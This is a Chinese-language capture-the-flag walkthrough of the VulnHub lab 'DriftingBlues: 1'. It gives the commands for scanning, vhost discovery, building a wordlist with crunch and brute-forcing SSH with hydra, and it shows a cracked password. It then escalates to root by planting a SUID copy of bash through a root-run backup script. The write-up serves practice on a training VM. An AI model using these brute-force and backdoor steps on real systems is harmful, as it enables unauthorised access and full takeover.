vulnhub--DriftingBlues: 1

描述

获得标志

难度:容易

关于vm:已测试并从virtualbox导出

目录

1.nmap端口扫描

2.目录扫描

二、漏洞探测&利用

三、getshell & 提权

四、总结


 一、信息收集

1.nmap端口扫描

nmap -A -T4 -v -p- 192.168.43.73

 

2.目录扫描

先将driftingblues.box加入到hosts文件中。

 

gobuster dir -u http://driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php git txt html

 

没有发现有用信息,查看源代码,发现 L25vdGVmb3JraW5nZmlzaC50eHQ=

 

base64解码得:/noteforkingfish.txt

echo  L25vdGVmb3JraW5nZmlzaC50eHQ= | base64 -d

 

访问http://driftingblues.box//noteforkingfish.txt,发现是Ook!加密,在线解密得:

my man, i know you are new but you should know how to use host file to reach our secret location. -eric

 

得到提示use host file,应该是添加子域名到hosts中,所以扫描driftingblues.box的子域名。

gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt | grep "Status: 200"

 

将test.driftingblues.box 域名加入 etc/hosts 文件中

 

再次目录扫描

gobuster dir -u http://test.driftingblues.box/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x php,git,txt,html

 

二、漏洞探测&利用

访问robots.txt,得到:

User-agent: *

Disallow: /ssh_cred.txt

Allow: /never

Allow: /never/gonna

Allow: /never/gonna/give

Allow: /never/gonna/give/up

访问/ssh_cred.txt,得到ssh的密码提示:1mw4ckyyucky + 一位数字

 

创造密码字典,root@kali:~/opt/vulnhub#

crunch 13 13 -t  1mw4ckyyucky%>>sshpass.txt

 

ssh密码爆破:

hydra -l eric -P sshpass.txt 192.168.43.73 ssh

[22][ssh] host: 192.168.43.73   login: eric   password: 1mw4ckyyucky6

 

 

三、getshell & 提权

 

登入ssh

 

得到一个flag

 

提权

sudo -l; cat /etc/crontab; history; cat /etc/passwd; cat /etc/shawod; 等操作无效

 

翻翻备份文件

 

Google提示:

 

eric@driftingblues:/tmp$ echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency

eric@driftingblues:/tmp$ chmod +x emergency

eric@driftingblues:/tmp$ ./getroot -p

 

得到第二个flag

 

四、总结

  • gobuster vhost -u driftingblues.box -w 字典 | grep "Status: 200"    #子域名扫描
  • 提权:

                   eric@driftingblues:/var$ cat backups/backup.sh

                   #!/bin/bash

                  /usr/bin/zip -r -0 /tmp/backup.zip /var/www/

                  /bin/chmod

                  #having a backdoor would be nice

                  sudo /tmp/emergency

eric@driftingblues:/tmp$ echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency

eric@driftingblues:/tmp$ chmod +x emergency

eric@driftingblues:/tmp$ ./getroot -p

#个人理解:隔一段时间,系统会自动执行backup.sh,该脚本以root权限执行/tmp/emergency,所以我们将/bin/bash复制到/tmp/目录下重新命名getroot,并给getroot以suid权限,写入到/tmp/emergency中。

 

 

 


 

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值